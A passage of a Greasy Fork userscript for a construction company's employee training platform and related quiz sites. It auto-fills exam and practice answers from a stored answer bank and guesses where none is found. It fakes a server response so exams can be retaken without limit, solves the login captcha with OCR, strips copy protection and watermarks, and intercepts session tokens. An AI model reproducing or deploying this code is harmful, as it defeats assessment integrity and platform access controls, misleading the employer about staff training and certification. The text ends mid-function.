Greasy Fork is available in English.
学企来砍一刀
当前为
// ==UserScript==
// @name 遇见八三的心动瞬间
// @namespace
// @version 1.10.7-20240202
// @description 学企来砍一刀
// @author 我纯f5捏
// @match https://www.cscec83.cn/user/login*
// @match http://120.27.194.253/*
// @match http://47.98.152.121/*
// @match https://learn.cscec83.cn/*
// @match https://ks.wjx.top/*/*
// @match http://ks.wjx.top/*/*
// @match https://www.amap.com/regeo*
// @match https://www.cscec83.cn/dashboard/analysis*
// @compatible edge
// @license
// @icon https://s11.ax1x.com/2023/12/30/piOtPX9.jpg
// @grant GM_addStyle
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_notification
// @grant GM_setClipboard
// @require https://cdn.jsdelivr.net/npm/tesseract.js@5/dist/tesseract.min.js
// @require https://update.greasyfork.icu/scripts/447483/1071404/Boxjs.js
// @require https://update.greasyfork.icu/scripts/462234/1307862/Message.js
// @require https://update.greasyfork.icu/scripts/482872/1319038/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part1.js
// @require https://update.greasyfork.icu/scripts/482873/1299972/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part2.js
// @require https://update.greasyfork.icu/scripts/482874/1299974/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part3.js
// @require https://update.greasyfork.icu/scripts/482875/1299975/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part4.js
// @require https://update.greasyfork.icu/scripts/482876/1299976/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part5.js
// @require https://update.greasyfork.icu/scripts/482877/1299978/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part6.js
// @require https://update.greasyfork.icu/scripts/485164/1313574/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93part7.js
// @require https://update.greasyfork.icu/scripts/484651/1321092/cscec83require.js
// ==/UserScript==
/*
***********************************************************
以上参数为脚本必须读取的脚本元属性值,请勿随意改动
以下参数修改请参见语雀功能文档或者代码注释定制化修改
***********************************************************
*/
(function () {
'use strict';
var visionNum = "1.10.7-20240202";
var oldStudyAdminRevise = true; // 控制学企来首页修改, true 为刷新; false 为不刷;
var cscecAdminCount = true; // 控制主页刷新次数, true 为刷新; false 为不刷新;
var rootFontSize = 46.6667; // 页面如果大小显示异常, 可尝试修改, 请勿随意变动此数值;
var clickNextPage = true; // 旧版学企来部门中心默认进入第二页, false 则不翻页;
var answerTimeGap = 400; // 一键做题操作间隔, 太快页面来不及响应, 太慢影响使用, 单位:ms;
var loginCheck = 1000; // 输入验证码后登录的间隔, 太快无法响应, 太慢影响使用, 单位:ms;
var monitorGap = 400; // 控制url监控间隔, 太快会影响性能, 太慢影响使用, 单位:ms;
var yourName = ''; // 问卷星填写名字
var yourApartment = "/"; // 问卷星填写部门
var yourId = ''; // 问卷星填写员工编号
var yourPost = "专业工程师"; // 问卷星填写岗位
/*
***********************************************************
以下参数为功能必须的参数初始化或功能预留,请勿随意改动
***********************************************************
*/
try {
var AllQA = GM_getValue("AllQABank");
if (AllQA.length !== 23257) {
asd;
}
Qmsg.success("正常读取全题库,题库数量:" + AllQA.length);
console.log("正常读取全题库,题库数量:" + AllQA.length);
} catch (error) {
var AllQA = AllQA1.concat(AllQA2, AllQA3, AllQA4, AllQA5, AllQA6, AllQA7);
AllQA = AllQA.map(item => {
return {
...item,
question: trimText(item.question),
option1: trimText(item.option1),
option2: trimText(item.option2),
option3: trimText(item.option3),
option4: trimText(item.option4),
option5: trimText(item.option5),
option6: trimText(item.option6),
option7: trimText(item.option7),
option8: trimText(item.option8)
};
});
try {
GM_setValue('AllQABank', AllQA);
Qmsg.success("全题库共 " + GM_getValue("AllQABank").length + " 道题目已存储");
console.log("全题库共 " + GM_getValue("AllQABank").length + " 道题目已存储");
} catch {
Qmsg.error("全题库写入失败");
console.log("全题库写入失败");
}
}
GM_setValue('userAgent', window.navigator.userAgent);
Qmsg.config({
showClose: true,
timeout: 5000
})
try {
var titleMsgAlert = GM_getValue("userName") + ' ' + GM_getValue("nickName");
} catch (error) {
titleMsgAlert = "未登录";
}
var targetValues = ["您的姓名:", "您的部门:", "所属项目:", "所在岗位:"];
var rightArr = ["正确", "对", "✓", "√", "A", "a", "是"];
var wrongArr = ["错误", "错", "×", "x", "B", "b", "否"];
var getYears = [2020, 2021, 2022, 2023, 2024];
var clickMyPractice = true;
var isDraggable = false;
var innerMsgAlert = '';
var QAComplete = false;
var xAccessToken = '';
var answerArray = '';
var currentUrl = '';
var timestamp = '';
var ipData = '';
var a = '';
var b = '';
var C = '';
var d = '';
var examQuestionTypeArray = [];
var oldPracticeData = [];
var moneyResults = [];
var practiceData = [];
var savedData = [];
var tokenDate = [];
overrideOpen();
setMouseImg();
setTipsImg();
getIP();
console.log('');
console.log('');
console.log('');
console.log('');
console.log('');
console.log('');
console.log("+ " + "语雀文档地址如下");
console.log("+ " + "https://www.yuque.com/yuqueyonghuuadmba/kb/gan09a7zvlktoa9v?singleDoc# 《遇见八三的心动瞬间》");
console.log("+ " + "语雀文档地址如上");
console.log('');
console.log('');
console.log('');
console.log('');
console.log('');
console.log('');
window.onload = function () {
addDiv();
document.querySelector("#noteText2").innerHTML = "版本号:" + visionNum + "<br><br>";
changeByClick();
webPageWatchUrl(urlOperate);
var tipsCard = document.getElementById("tipsCard");
tipsCard.addEventListener('mouseover', displayTipsImg);
tipsCard.addEventListener('mouseout', vanishTipsImg);
tipsCard.addEventListener('mousemove', displayTipsImg);
document.addEventListener('mousemove', mouseImgMove);
btnClick(".option1", verifyAndToast);
btnClick(".option2", function () {
if (getAb()) {
switch (verifyUrl()) {
case 1:
answerExam();
break;
case 2:
Qmsg.error("此页面未配置本功能,仅支持一键考试功能");
break;
case 3:
answerOldQuestion();
break;
case 4:
Qmsg.error("此页面未配置本功能,请使用问卷星答题功能");
break;
case 5:
Qmsg.error("此页面未配置本功能,请使用填写验证码功能");
break;
case 6:
answerQuestion();
break;
default:
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
break;
}
} else {
failVerify();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
});
btnClick(".option3", function () {
if (getAb()) {
switch (verifyUrl()) {
case 1:
autoExam();
break;
case 2:
answerOldExam();
break;
case 3:
Qmsg.error("此页面未配置本功能,不支持一键考试功能");
break;
case 4:
Qmsg.error("此页面未配置本功能,请使用问卷星答题功能");
break;
case 5:
Qmsg.error("此页面未配置本功能,请使用填写验证码功能");
break;
case 6:
autoAnswerQuestion();
break;
case 7:
getAddress(window.location.href);
break;
default:
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
break;
}
} else {
failVerify();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
});
btnClick(".option4", answerQAStarExam);
btnClick(".option5", function () {
if (getAb()) {
if (window.location.href.includes("https://learn.cscec83.cn/exam/exam")) {
var originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function () {
var self = this;
var originalOnreadystatechange = this.onreadystatechange;
this.onreadystatechange = function () {
if (self.responseURL.match(/getInfoCanPaperNum\?paperId=.+/g)) {
Object.defineProperty(self, 'response', {
value: { "code": 200, "msg": null, "data": 999 },
writable: true,
enumerable: true,
configurable: true
});
Object.defineProperty(self, 'responseText', {
value: "{\"code\":200,\"msg\":null,\"data\":999}",
writable: true,
enumerable: true,
configurable: true
});
// 调用原有的onreadystatechange回调
if (originalOnreadystatechange) {
originalOnreadystatechange.call(self);
}
}
};
// 调用原始的send方法
originalSend.apply(this, arguments);
};
Qmsg.success("强制考试,启动!");
systemAlert('强制考试,启动!', '考!随便考!', 8000, console.log('点击无限的通知'));
}
else {
deleteAllCookies();
clearCookie();
clearStorage();
Qmsg.success("cookie数据已清除");
console.log("cookie数据已清除");
}
} else {
failVerify();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
});
btnClick(".option6", function () {
GM_addStyle(`
.mainDiv {
display: none;
}
#minDiv {
display: Block;
}
`)
let minDiv = document.createElement('div');
minDiv.innerHTML = `
<button><span>disPlay</span></button>
`;
minDiv.style.position = 'fixed';
minDiv.style.left = '0';
minDiv.style.top = '50%';
minDiv.width = '50px';
minDiv.className = "minDiv";
minDiv.style.zIndex = '999';
minDiv.id = 'minDiv';
minDiv.addEventListener('click', function () {
GM_addStyle(`
.mainDiv {
display: grid;
}
#minDiv {
display: none;
}
`)
});
document.body.appendChild(minDiv);
// var root = document.documentElement;
// var currentSize = parseFloat(window.getComputedStyle(root).fontSize);
// root.style.fontSize = `${currentSize * 3 / 4}px`;
});
btnClick(".option7", fillVerificationCode);
// btnClickToUrl(".option9", "https://space.bilibili.com/43880280?spm_id_from=444.42.0.0");
btnClick(".option9", sendMsg);
getWords();
}
function removeDiv(divId) {
let divRemove = document.getElementById(divId);
divRemove.parentNode.removeChild(divRemove);
}
function getAddress(urls) {
let regex = /lng=([\d.]+)&lat=([\d.]+)&name=([^&]+)/;
let match = urls.match(regex);
if (match) {
let texts = '[{"mAddress":"' + decodeURIComponent(match[3]) + '","mLatitude":' + match[2] + ',"mLongitude":' + match[1] + '}]';
GM.setClipboard(texts, "text");
console.log(texts);
}
}
function getWords() {
fetch("https://oiapi.net/API/Sentences")
.then(response => {
if (!response.ok) {
throw new Error("Network response was not ok");
}
return response.json();
})
.then(data => {
if (data.code === 1) {
document.querySelector("#infoText1").innerText = data.data.content;
document.querySelector("#infoText2").innerText = "——" + data.data.works + ' ' + data.data.author;
} else {
document.querySelector("#infoText1").innerText = "今日无事";
}
})
.catch(error => {
Qmsg.error("获取每日一言失败");
document.querySelector("#infoText1").innerText = "今日无事";
console.error("Fetch error:", error);
});
}
function answerOldQuestion() {
var titleName = document.querySelector(".title");
if (titleName) {
if (titleName.innerText === "每日一练" || titleName.innerText === "闯关练习") {
var elements = document.getElementsByClassName("issus-item-title-text");
try { var trimmedText = trimText(elements[0].innerText); } catch (error) { }
let questionAnswerBankIndex = AllQA.findIndex(function (item) {
return item.question == trimmedText;
});
if (questionAnswerBankIndex !== -1 && getAb()) {
let questionType = getType(questionAnswerBankIndex);
if (questionType.includes("单选")) {
let answerSpans = document.querySelectorAll(".issus-item-answer-radio-label");
let answerArray = convertToNumbers(convertAnswerToArray(questionAnswerBankIndex));
if (answerSpans[answerArray[0] - 1].parentNode.parentNode.parentNode.classList.contains('is-checked')) {
clickOldNextQuestion();
} else {
answerSpans[answerArray[0] - 1].click();
}
} else if (questionType.includes("判断")) {
var judgeStr = getAnswer(questionAnswerBankIndex).match(/(正确)|(错误)|[对错✓√×xABab]/g);
try {
let judgeStrClick = 'input[class="el-radio__original"][value=' + judgeStr + ']';
document.querySelector(judgeStrClick).click();
} catch (error) {
if (rightArr.includes(judgeStr[0])) {
for (let i = 0; i < rightArr.length; i++) {
try {
var judgeStrClick = 'input[class="el-radio__original"][value=' + rightArr[i] + ']';
if (document.querySelector(judgeStrClick).parentNode.parentNode.classList.contains('is-checked')) {
clickOldNextQuestion();
break;
} else {
document.querySelector(judgeStrClick).click();
break;
}
} catch (error) { }
}
}
if (wrongArr.includes(judgeStr[0])) {
for (let i = 0; i < wrongArr.length; i++) {
try {
var judgeStrClick = 'input[class="el-radio__original"][value=' + wrongArr[i] + ']';
document.querySelector(judgeStrClick).click();
if (document.querySelector(judgeStrClick).parentNode.parentNode.classList.contains('is-checked')) {
clickOldNextQuestion();
break;
} else {
document.querySelector(judgeStrClick).click();
break;
}
} catch (error) { }
}
}
}
} else if (questionType.includes("多选")) {
let answerSpans = document.querySelectorAll('span.el-checkbox__input');
let arr = convertToNumbers(convertAnswerToArray(questionAnswerBankIndex));
let clickJudge = 1;
for (let j = 0; j < arr.length; j++) {
let isChecked = answerSpans[arr[0] - 1].classList.contains('is-checked');
clickJudge = clickJudge * isChecked;
}
if (clickJudge == 1 || clickJudge == NaN) {
clickOldNextQuestion();
} else {
for (var i = 0; i < arr.length; i++) {
// 因为页面异步动画影响,直接点击会无法处理
(function (i) {
requestAnimationFrame(function () {
answerSpans[arr[i] - 1].click();
});
})(i);
}
}
}
} else {
Qmsg.error("题库无此题,请及时记录维护题库或 Ctrl+S 保存页面并反馈给我");
// simpleToast("未找到答案", "题库无此题,请及时记录维护题库或 Ctrl+S 保存页面", 2e3);
}
} else if (titleName.innerText === "成绩结果") {
if (document.querySelector(".upper-limit-tips") && document.querySelector(".upper-limit-tips").innerText.includes("积分已达到上限")) {
// 返回
setTimeout(function () {
document.querySelector(".back").childNodes[0].click();
}, 100);
Qmsg.success("此练习分数已满,请选择下一项练习。");
// toast("完成", "此练习分数已满,请选择下一项练习。", 2e3);
} else {
// 再来一组
document.querySelector(".back").childNodes[2].click();
Qmsg.info("此练习分数未满,请继续答题。");
}
}
}
}
function clickOldNextQuestion() {
try {
let parentElement = document.querySelector('div[class="btn-content"]');
let element = parentElement.querySelector('.el-button.fr.el-button--primary.el-button--mini');
if (element === undefined || element === null) {
clickSpanContainingText('结束练习');
} else {
clickSpanContainingText('确定');
clickSpanContainingText('下一题');
}
} catch (error) {
console.log("尝试确定失败");
}
}
function answerOldExam() {
try {
examQuestionTypeArray = getQuestionType();
for (let i = 0; i < examQuestionTypeArray.length; i++) {
if (examQuestionTypeArray[i].Type.includes("单选")) {
// console.log("开始作答单选题");
let typeElements = document.querySelector("#app > div > div.preview-box > div.preview-main > div:nth-child(" + (i + 1) + ")");
let childrenQuestion = typeElements.getElementsByClassName("issus-item-title-text");
for (let j = 0; j < childrenQuestion.length; j++) {
let questionFind = trimText(childrenQuestion[j].innerText);
let questionIndex = AllQA.findIndex(function (item) {
return item.question == questionFind;
});
try {
if (questionIndex > -1) {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio-label"));
let answerArray = convertAnswerArrayToDigitArray(questionIndex);
setTimeout(() => {
childrenAnswer[answerArray[0] - 1].click();
console.log("已作答单选题 " + (j + 1));
}, 10);
} else {
console.log("未获取到单选题 " + (j + 1) + " 的答案");
continue;
}
} catch {
console.log("获取单选题 " + (j + 1) + " 答案失败");
continue;
}
}
} else if (examQuestionTypeArray[i].Type.includes("多选")) {
// console.log("开始作答多选题");
let typeElements = document.querySelector("#app > div > div.preview-box > div.preview-main > div:nth-child(" + (i + 1) + ")");
let childrenQuestion = typeElements.getElementsByClassName("issus-item-title-text");
for (let j = 0; j < childrenQuestion.length; j++) {
let questionFind = trimText(childrenQuestion[j].innerText);
let questionIndex = AllQA.findIndex(function (item) {
return item.question == questionFind;
});
try {
if (questionIndex > -1) {
// 获取对应题目的选项
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio-label"));
let answerArray = convertAnswerArrayToDigitArray(questionIndex);
for (let n = 0; n < answerArray.length; n++) {
(function (n) {
requestAnimationFrame(function () {
setTimeout(() => {
childrenAnswer[answerArray[n] - 1].click();
console.log("已作答多选题 " + (j + 1) + "的选项: " + n);
}, 200);
});
})(n);
}
} else {
console.log("未获取到多选题 " + (j + 1) + " 的答案");
continue;
}
}
catch {
console.log("获取多选题 " + (j + 1) + " 答案失败");
continue;
}
}
} else if (examQuestionTypeArray[i].Type.includes("判断")) {
// console.log("开始作答判断题");
let typeElements = document.querySelector("#app > div > div.preview-box > div.preview-main > div:nth-child(" + (i + 1) + ")");
let childrenQuestion = typeElements.getElementsByClassName("issus-item-title-text");
for (let j = 0; j < childrenQuestion.length; j++) {
let questionFind = trimText(childrenQuestion[j].innerText);
let questionIndex = AllQA.findIndex(function (item) {
return item.question == questionFind;
});
try {
if (questionIndex > -1) {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio"));
let answerArray = getAnswer(questionIndex).match(/(正确)|(错误)|[对错✓√×xABab]/g);
if (answerArray.some(item => rightArr.includes(item))) {
childrenAnswer[0].firstChild.click();
}
if (answerArray.some(item => wrongArr.includes(item))) {
childrenAnswer[1].firstChild.click();
}
console.log("已作答判断题 " + (j + 1));
} else {
try {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio-label"));
setTimeout(() => {
childrenAnswer[0].firstChild.click();
}, 10);
console.log("判断题蒙一个 " + (j + 1));
} catch (error) {
}
console.log("未获取到判断题 " + (j + 1) + " 的答案");
continue;
}
} catch {
console.log("获取判断题 " + (j + 1) + " 答案失败");
continue;
}
}
} else {
Qmsg.error("存在无法处理的题型,请及时记录维护题库或 Ctrl+S 保存页面并反馈给我");
continue;
}
}
} catch (error) {
let childrenQuestion = document.querySelectorAll(".issus-item-title-text");
// console.log(childrenQuestion.length);
for (let j = 0; j < childrenQuestion.length; j++) {
let questionFind = trimText(childrenQuestion[j].innerText);
let questionIndex = AllQA.findIndex(function (item) {
return item.question == questionFind;
});
try {
if (questionIndex > -1) {
if (getType(questionIndex).includes("单选")) {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio-label"));
let answerArray = convertAnswerArrayToDigitArray(questionIndex);
setTimeout(() => {
childrenAnswer[answerArray[0] - 1].click();
console.log("已作答单选题 " + (j + 1));
}, 10);
} else if (getType(questionIndex).includes("多选")) {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio-label"));
let answerArray = convertAnswerArrayToDigitArray(questionIndex);
for (let n = 0; n < answerArray.length; n++) {
(function (n) {
requestAnimationFrame(function () {
setTimeout(() => {
childrenAnswer[answerArray[n] - 1].click();
console.log("已作答多选题 " + (j + 1) + "的选项: " + n);
}, 200);
});
})(n);
}
} else if (getType(questionIndex).includes("判断")) {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio"));
let answerArray = getAnswer(questionIndex).match(/(正确)|(错误)|[对错✓√×xABab]/g);
if (answerArray.some(item => rightArr.includes(item))) {
childrenAnswer[0].firstChild.click();
}
if (answerArray.some(item => wrongArr.includes(item))) {
childrenAnswer[1].firstChild.click();
}
console.log("已作答判断题 " + (j + 1));
} else {
try {
let childrenAnswer = childrenQuestion[j].parentElement.nextElementSibling.getElementsByClassName(("issus-item-answer-radio-label"));
setTimeout(() => {
childrenAnswer[0].firstChild.click();
}, 10);
console.log("判断题蒙一个 " + (j + 1));
} catch (error) {
}
console.log("未获取到判断题 " + (j + 1) + " 的答案");
continue;
}
} else {
console.log("未获取到 " + (j + 1) + " 的答案");
continue;
}
} catch {
console.log("获取 " + (j + 1) + " 答案失败");
continue;
}
}
}
}
function answerQAStarExam() {
try {
if (verifyUrl() == 4) {
try {
document.querySelector("#q1_0").innerText = yourName;
document.querySelector("#q1_1").innerText = yourApartment;
document.querySelector("#q1_2").innerText = yourId;
document.querySelector("#q1_3").innerText = yourPost;
} catch (error) {
console.log("方式一信息填写失败或部分失败,尝试使用方式二填写");
try {
document.querySelector("#q1").value = yourName;
document.querySelector("#q2").value = yourApartment;
document.querySelector("#q3").value = yourId;
document.querySelector("#q4").value = yourPost;
} catch (error) {
console.log("信息填写失败或部分失败");
}
}
var QAStarQuestion = document.querySelectorAll('.topichtml');
if (QAStarQuestion.length == 0) {
QAStarQuestion = document.querySelectorAll('.topic__type-title');
}
for (let j = 0; j < QAStarQuestion.length; j++) {
let questionFind = trimText(QAStarQuestion[j].innerText);
try { questionFind = questionFind.match(/.+?(?=【.*】$)/)[0] } catch { };
let questionIndex = AllQA.findIndex(function (item) {
return item.question == questionFind;
});
if (questionIndex > -1) {
let answerArray = convertAnswerArrayToDigitArray(questionIndex);
for (let i = 0; i < answerArray.length; i++) {
(function (i) {
requestAnimationFrame(function () {
setTimeout(() => {
try {
QAStarQuestion[j].nextElementSibling.childNodes[answerArray[i] - 1].click();
} catch (error) {
try {
QAStarQuestion[j].parentNode.nextSibling.childNodes[answerArray[i] - 1].click();
} catch (error) {
}
}
}, 150);
});
})(i);
}
} else {
console.log(QAStarQuestion[j] + " 未找到答案", "题库无此题,请及时记录维护题库或 Ctrl+S 保存页面");
}
}
} else {
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
}
} catch (error) {
Qmsg.error("exam函数未完全适配导致的问题,请 Ctrl+S 保存页面并联系我");
}
}
function verifyUrl() {
currentUrl = window.location.href;
// 1 新版学企来考试
if (currentUrl.includes('https://learn.cscec83.cn/exam/examItem')) {
return 1;
// 2 旧版学企来考试
} else if (currentUrl.includes('http://120.27.194.253/exam/') || currentUrl.includes('http://47.98.152.121/exam/')) {
return 2;
// 3 旧版学企来练习
} else if (currentUrl.includes('http://120.27.194.253/') || currentUrl.includes('http://47.98.152.121/')) {
return 3;
// 4 问卷星
} else if (currentUrl.includes('wjx.top/') || currentUrl.includes('wjx.cn/')) {
return 4;
// 5 公司登录界面
} else if (currentUrl.includes('https://www.cscec83.cn/user/login')) {
return 5;
// 6 新版学企来练习
} else if (currentUrl.includes('https://learn.cscec83.cn/exam/dayItem')) {
return 6;
// 7 高德定位
} else if (currentUrl.includes("https://www.amap.com/regeo") && currentUrl.includes("lng=") && currentUrl.includes("lat=")) {
return 7;
// 8 八三主页
} else if (currentUrl.includes("https://www.cscec83.cn/dashboard/analysis")) {
return 8;
}
else {
return false;
}
}
function getAnswer(questionAnswerBankIndex) {
return AllQA[questionAnswerBankIndex].answer;
}
function getType(questionAnswerBankIndex) {
return AllQA[questionAnswerBankIndex].type;
}
function getQuestion(questionAnswerBankIndex) {
return AllQA[questionAnswerBankIndex].question;
}
function convertAnswerToArray(questionAnswerBankIndex) {
let answerArray = getAnswer(questionAnswerBankIndex).match(/[A-Za-z]/g).map(function (val) {
return val.toLowerCase();
});
return answerArray;
}
// 转换字母答案为数字并生成数组
function convertAnswerArrayToDigitArray(questionIndex) {
let answerArray = convertAnswerToArray(questionIndex).map(char => char.charCodeAt(0) - 96);
return answerArray;
}
// 数组中字母转换为数字
function convertToNumbers(arr) {
return arr.map(function (letter) {
var num = letter.charCodeAt(0) - 'a'.charCodeAt(0) + 1;
return num;
});
}
// 点击页面具有某个文本的span
function clickSpanContainingText(text) {
var spans = document.getElementsByTagName('span');
for (var i = 0; i < spans.length; i++) {
if (spans[i].innerText === text) {
spans[i].click();
break;
}
}
}
function reviseRem() {
var root = document.documentElement;
var currentSize = parseFloat(window.getComputedStyle(root).fontSize);
if (currentSize !== rootFontSize) {
// root.style.fontSize = `${currentSize * 4}px`;
root.style.fontSize = rootFontSize + "px"
if (verifyUrl() == 8) {
root.style.fontSize = 16 + "px"
}
}
}
function webPageWatchUrl(watchCallback) {
watchCallback();
currentUrl = window.location.href;
setInterval(function () {
if (currentUrl !== window.location.href) {
currentUrl = window.location.href;
watchCallback(currentUrl);
}
}, monitorGap);
}
function urlOperate() {
reviseRem();
currentUrl = window.location.href;
switch (verifyUrl()) {
case 1:
removeListener();
break;
case 4:
try {
// 解除复制粘贴限制
setTimeout(function () {
$(".textCont,input,textarea").off();
}, 2000)
$(".textCont,input,textarea").off(); // 既不生效,再来一次又何妨
document.oncontextmenu = function () { return true; };
document.onselectstart = function () { return true; };
$("body").css("user-select", "text");
syncManyinput();
} catch (error) {
console.log("破解复制失败");
}
break;
case 5:
try {
GM_addStyle(`
.bgi[data-v-556a153e] {
background:url(https://bing.img.run/rand_uhd.php) no-repeat;
background-size:100% 100%;
}
`);
} catch (error) {
}
break;
default:
break;
}
if (currentUrl.includes('https://www.cscec83.cn/dashboard/analysis')) {
document.documentElement.style.fontSize = 16 + "px";
if (cscecAdminCount) {
try {
GM_addStyle(`
.mainDiv {
display: none;
}
#mouseImg {
display: none;
}
`);
} catch (error) { }
}
setInterval(function () {
try {
let content = document.querySelector("#content").childNodes[2];
if (content.style.background !== '') {
document.querySelector("#content").childNodes[2].style.background = '';
Qmsg.success("去除水印成功")
}
} catch (error) { }
}, 2000);
let intervalId; // 存储 setInterval 的返回值
let isClickListenerAdded = false; // 标记是否已添加点击事件监听器
intervalId = setInterval(function () {
if (GM_getValue("token").token) {
var cardTitle = document.querySelector('.card-title');
if (cardTitle) {
try {
if (isClickListenerAdded) {
clearInterval(intervalId);
return;
};
let cardTitle = document.querySelector('.card-title');
cardTitle.addEventListener('click', function () {
let url = 'https://learn.cscec83.cn' + '?token=' + GM_getValue("token").token;
window.open(url, '_blank');
});
isClickListenerAdded = true;
} catch (error) {
console.error(error);
}
}
}
}, 500);
// location.reload();
cscecAdminCount = false;
};
if ((currentUrl === ('http://120.27.194.253/') || currentUrl === ('http://120.27.194.253/index') || currentUrl === ('http://47.98.152.121/') || currentUrl === ('http://47.98.152.121/index')) && oldStudyAdminRevise) {
try {
let targetElement = document.querySelectorAll(".nav_item")[0];
targetElement.innerText = "科技质量";
targetElement.style.color = 'red';
targetElement.style.fontWeight = 'bold';
targetElement.parentNode.setAttribute("href", "/org/pgdJgz");
oldStudyAdminRevise = false;
} catch (error) {
console.log("old学企来首页科技质量修改失败");
}
}
if (currentUrl == 'http://120.27.194.253/org' || currentUrl === ('http://47.98.152.121/org')) {
setApartmentCSS();
if (clickNextPage) {
// 进入第二页
try {
document.querySelector("#app > div > div.content > div.pagination.el-pagination.is-background > button.btn-next").click();
clickNextPage = false;
} catch (error) {
console.log("自动点击'我的'失败");
};
};
let departmentElement = document.querySelectorAll(".mechanism_item > .mechanism_item_title");
for (let i = 0; i < departmentElement.length; i++) {
let targetElement = departmentElement[i];
if (targetElement.innerText == '科技质量部') {
targetElement.style.color = 'red';
targetElement.style.fontWeight = 'bold';
};
};
};
if (currentUrl.match(new RegExp('http://120.27.194.253/org/[a-zA-Z]{6}$')) !== null || currentUrl.match(new RegExp('http://47.98.152.121/org/[a-zA-Z]{6}$')) !== null) {
try {
if (clickMyPractice) {
document.querySelector("#tab-my").click();
document.querySelector(".goods_type_list").childNodes[1].click();
clickMyPractice = false;
}
} catch (error) { clickMyPractice = false; };
}
};
function fillVerificationCode() {
if (window.location.href.includes('https://www.cscec83.cn/user/login')) {
var imgSrc = document.querySelectorAll("img")[4].src;
var image = new Image();
image.src = imgSrc;
const { createWorker } = Tesseract;
(async () => {
const worker = await createWorker('eng');
const { data: { text } } = await worker.recognize(image);
var inputElement = document.getElementById("inputCode");
inputElement.value = text;
// 创建并触发 input 事件
var event = new Event('input', {
bubbles: true,
cancelable: true,
});
inputElement.dispatchEvent(event);
})();
setTimeout(function () {
document.querySelector(".login-button").click();
}, loginCheck);
} else {
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
// simpleToast("此页面未配置本功能", "填写验证码", 2e3);
return false;
}
}
// 移动
function handleMouseDown(event) {
isDraggable = true;
var handleMoveDiv = document.getElementById("mainDiv");
var offsetX = event.clientX - handleMoveDiv.getBoundingClientRect().left;
var offsetY = event.clientY - handleMoveDiv.getBoundingClientRect().top;
// 阻止默认行为和冒泡
event.preventDefault();
event.stopPropagation();
document.addEventListener('mousemove', handleWindowMouseMove);
document.addEventListener('mouseup', handleWindowMouseUp);
function handleWindowMouseMove(event) {
if (isDraggable) {
requestAnimationFrame(() => {
handleMoveDiv.style.left = event.clientX - offsetX + 'px';
handleMoveDiv.style.top = event.clientY - offsetY + 'px';
window.getSelection().empty();
});
}
}
function handleWindowMouseUp() {
isDraggable = false;
document.removeEventListener('mousemove', handleWindowMouseMove);
document.removeEventListener('mouseup', handleWindowMouseUp);
}
}
// 给所有的可选按钮增加点击事件
// 类中加 clickable-image speedChoose
function changeByClick() {
document.getElementById('movedCard').addEventListener('mousedown', handleMouseDown);
// 给所有的图片增加点击事件(除了含有speedChoose类的)
let images = document.querySelectorAll('.clickable-image');
images.forEach(image => {
// 检查图片是否包含speedChoose类,如果不包含则添加点击事件
if (!image.classList.contains('speedChoose')) {
image.addEventListener('click', function () {
this.classList.toggle('clicked');
});
}
});
// // 按钮点击互斥
// var speedChooses = document.querySelectorAll('.speedChoose');
// speedChooses.forEach(function (box) {
// box.addEventListener('click', function () {
// // 如果当前按钮已经是点击状态,则取消点击状态,否则激活点击状态
// if (box.classList.contains('clicked')) {
// box.classList.remove('clicked');
// } else {
// // 点击任何一个box时,移除所有box的clicked类
// speedChooses.forEach(function (otherBox) {
// otherBox.classList.remove('clicked');
// });
// box.classList.add('clicked');
// }
// });
// });
}
function overrideOpen() {
var open = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function (method, url) {
var self = this;
this.addEventListener('load', function () {
var data = self.responseText;
// var isProfileData = (data.includes('userName') && data.includes('nickName') && data.includes('postGroup'));
var isPracticeData = data.includes('testPaperTopics');
// var isOldPracticeData = data.includes('loginName') && data.includes('nickname') && data.includes('userNo');
var isTokenDate = data.includes('thirdToken');
// if (isProfileData || isPracticeData || isOldPracticeData || isTokenDate) {
if (isPracticeData || isTokenDate) {
// if (isProfileData) {
// var profileData = profileData || [];
// if (!Array.isArray(profileData)) {
// profileData = [];
// }
// profileData = JSON.parse(data);
// handleProfileData(profileData);
// }
if (isPracticeData) {
practiceData = practiceData || [];
if (!Array.isArray(practiceData)) {
practiceData = [];
}
practiceData.push(JSON.parse(data));
handlePracticeData(practiceData);
}
// if (isOldPracticeData) {
// oldPracticeData = oldPracticeData || [];
// if (!Array.isArray(oldPracticeData)) {
// oldPracticeData = [];
// }
// oldPracticeData.push(JSON.parse(data));
// handleOldPracticeData(oldPracticeData);
// }
